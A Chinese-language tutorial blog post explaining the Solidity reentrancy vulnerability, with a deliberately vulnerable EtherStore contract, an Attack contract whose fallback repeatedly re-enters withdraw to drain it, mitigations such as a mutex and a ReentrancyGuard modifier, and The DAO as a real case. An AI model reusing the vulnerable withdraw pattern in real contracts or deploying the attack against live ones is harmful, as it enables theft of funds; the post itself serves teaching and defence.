合约安全

合约安全:重入漏洞

2022-11-27  本文已影响0人  梁帆

一、漏洞

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这个被攻击的EtherStore合约,可以用来deposit和withdraw以太币。withdraw函数的基本逻辑是:

在攻击合约Attack合约中,先看attack函数,基本逻辑就是先调用deposit存入1个以太,再调用withdraw取出。然而关键的代码在fallback函数中,这个fallback函数会先检测被攻击合约EtherStore的余额,如果大于1个以太,就执行withdraw。我们在之前的文章写过,fallback在什么时候会调用:

fallback和receive 知道这些概念后,就可以演示攻击过程了:

这里的例子,Attack合约其实用receive函数也是可以的,而且合约里是可以有单独的receive函数,但是单独的fallback函数就会报warning。

二、预防方法

1.避免使用call方法转账

在我们这篇《Solidity的发账和收账详解》中,我们说了transfer, sendcall这三个转账函数的区别,其中最重要的一点是,transfer和send是有gas 2300的限制的,而call没有。这就是为什么我们上面的例子中可以一直被递归执行的原因。如果是使用transfer或者send,2300的gas很快就会耗完,根本不会一直循环被提款。

2.确保所有状态变量的逻辑都发生在转账之前

我们这个例子中,能被攻击的还有一个原因是balances余额的改变在call转账之后,所以才能反复通过前两行的状态检测进行重复提款。

3.引入互斥锁

即在代码执行的时候,使用互斥锁来锁定合约状态,防止重入。比如我们这个例子中,可以改成:

    bool reEntrancyMutex = false;
    function withdraw() public {
        require(!reEntrancyMutex);
        uint bal = balances[msg.sender];
        require(bal > 0);

        reEntrancyMutex = true;
        (bool sent, ) = msg.sender.call{value: bal}("");
        reEntrancyMutex = false;
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

抑或是单独写个ReEntrancyGuard的合约,其中只有互斥锁变量和函数修饰器:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

然后我们的EtherStore合约继承并在withdraw函数里加上noReentrant的前缀即可。

open zeppelin官方实现了这样的一个抽象合约ReentrancyGuard,思路就是上面的那个思路只不过它可定制化程度更高,点击这里可以看到。
在我们实际项目中,还是经常使用到open zeppelin的这个实现的。

三、真实案例

The DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了 Ethereum Classic(ETC)的分叉。有关The DAO 漏洞的详细分析,请参阅 Phil Daian 的文章

上一篇 下一篇

猜你喜欢

热点阅读